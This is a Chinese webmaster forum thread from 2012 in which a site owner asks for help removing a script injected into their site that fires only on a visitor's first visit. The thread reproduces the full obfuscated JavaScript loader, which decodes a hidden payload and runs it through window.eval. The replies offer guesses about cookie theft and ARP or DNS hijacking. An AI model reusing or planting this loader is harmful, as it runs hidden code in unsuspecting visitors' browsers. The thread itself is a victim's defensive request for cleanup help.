谁见过这种马，求清除！！！【感谢A大】

yafeiml

访客首次访问有代码，第二次访问就没有了。。
已经搜索2天内修改的文件，无发现js、php、html之类被修改。。。
代码是随机加密的，如下：

1. <script type='text/javascript'>st="no3nno3mapno3rxcopno3rxukpno3rxtc";Date&&(a=["a#%d]%b@%e_%c)%1<%5*%4+%9:%3^%2","%7!%0|%f~%8?%6&"]);var b=[],c="&!^<^])&~&_&)!:$^@$|&:&&$?$]^<^]^]&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*$_&:&_&+&*!?+~&&$?&!^<$:$:!@!?^+^]^!^$+*^&^@!&&<!$|&^^]&_&*!!$|++&<!+&*^@&^$_!^&*!+*+&:&]&*$?&^$_&!&*!+*+&:&]&*$?$:$:^@&*&+^]&_&*!!$|++&<!+&*$?&^$_&!&*!+*+&:&]&*$?$:$@!?^+$:^@&+&~&^!*&]&*&_!+$_&^&~&~&@&:&*^]&!^<$@$^]$@&*!^&^&<!|&*$?&*&+$_!+&~+!+]*+*^!+!:&_&!$?$:$:$@$^@&*!?!|&:!*!^^]$@&*&+$_!+&~+!+]*+*^!+!:&_&!$?$:$@$^@!|&<!+&?^]$~$^@&!^^^]?!+!+!|^#$~$~$@!^!+$_!*!|&)&<&^&*$?$~&*&_^|$~&!$)!$:$_!*!|&)&<&^&*$?$~&_&~^^$~&!$)*$:$_!*!|&)&<&^&*$?$~!|&*!$!?$~&!$)$_$:$@$~!+&~!|^$_&?!+&]&)$^@!&&<!$|&+^]$]^<$<^]&_&<!&&:&!&<!+&~!$_!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$:$_&:&_&+&*!?+~&&$?&&:!*&&&~!?$:$)&*^]$^<$)&?^]&&!*&_&^!+&:&~&_$?$:!@!]^@&?$_!|!~!+&~!+!:!|&*^]!@&$^#&&!*&_&^!+&:&~&_$?$:!@!*!+!*!_$|&!^^!]$)&<^#&&!*&_&^!+&:&~&_$?$:!@!&&<!$|&&^]&+&~&^!*&]&*&_!+$)&:^]!!&:&_&+&~!!$)&!^]!+&?&:!^^@!+!$!:!@!&*!^]!&*!+!^&*!++<!+!+!:!^&+&&$^@!&&<!$|&<^]*@*]^@&+!)!)$?&*^]$^|$:^@&<$_!|!*!^&?$??&*&:&!&?!+$)$!^!*&$!^!+!:&_&!$)$!+!*&^!*&<!+&*+*&)&*&]&*&_!+&!&*!+$)$!!&:&+!+&?$)$|$!&&]&:&&!$!^&*!+$)!&*!$)~&+!:$)<!|!|&*&_&++^&?&:&)&+$)&*$)&&$)$!^!^$:^@!&&<!$|&#^]&<*@^$*]*@&<*@^<*]*]$?^^$)^<^&$:^@!&+@^]&<*@^+*]*@&<*@^<*]*]$?^^$)^&$:$@<&]&*$^@!|^]&<*@^**]*@&<*@^<*]*]$?^^$)^<^<$:$@$!*!+&*$^@!&&<!$|&@^]&!$_&$?$:$)&$^]&<*@^:*]*@&#*]$?!&+@$:^@&$*@&<*@^<^|*]*]^]&@^@&$*@&<*@^^*]*]^]&<*@^?*]^@&$*@&<*@^|*]*]^]&<*@^?*]^@&<*@^:*]*@&<*@^&*]*]*@&<*@^!*]*]$?&$:!]&^&<!+&^&?$?&]$:!@&&$_!!!:!+&*$?$^)&?!+&]&)^_^)&~&+!:^_^)$~&~&+!:^_^)$~&?!+&]&)^_$:$)&:$_!^&*!+*+&:&]&*&~!*!+$?&&!*&_&^!+&:&~&_$?$:!@&!$_&<$?$:!]$)^$^^^^$:!]!]!]^@!&&<!$|&)^]&_&*!!$|&?^@&:&&$?!!&:&_&+&~!!$_&_&<!&&:&!&<!+&~!$_!*!^&*!$+<&!&*&_!+$_!+&~+)&~!!&*!$+^&<!^&*$?$:$_&]&<!+&^&?$?$~&&&:!*&&&~!?!)&]!^&:&*$~&:$:$:!@&)$_&<$?$:^@!]$|&*&)!^&*$|!@$|&+&~&^!*&]&*&_!+$_&~&_&]&~!*!^&*&]&~!&&*^]&&!*&_&^!+&:&~&_$?$:!@&)$_&<$?$:^@&+&~&^!*&]&*&_!+$_&~&_&]&~!*!^&*&]&~!&&*^]&_!*&)&)!]!]!]^@"; function e(){e=a.join("$").split("%");for(var d in e)"string"==typeof e[d]&&(c=c.split(e[d].substr(1)).join(e[d].substr(0,1)));return this}var f=e(),a="";for(_E=~b-~b;_E<c.length/2;_E++)a+="%"+c.substr(2*_E,2);window.eval(f.decodeURIComponent(a));</script>

复制代码

hackfengl

找楼上A大

母‪鸡

cookie吧，看下文件的修改时间，，，如果是伪造了修改时间的话就手动吧。。一般都放在config还有functions里

yafeiml

Administrator 发表于 2012-6-3 12:01
记录COOKIE的吧

更新帖子了，求看。。

yafeiml

母‪鸡 发表于 2012-6-3 12:02
cookie吧，看下文件的修改时间，，，如果是伪造了修改时间的话就手动吧。。一般都放在config还有functions ...

时间戳什么的都检查过了，另不知道是怎么被挂的。。。
以前有过一次，把主题重写，所有文件都更新了一遍才搞定的，工程浩大啊。。。

藐视天地

不会

yafeiml

A大已回复，感谢A大。

有个就好

不是ARP就是DNS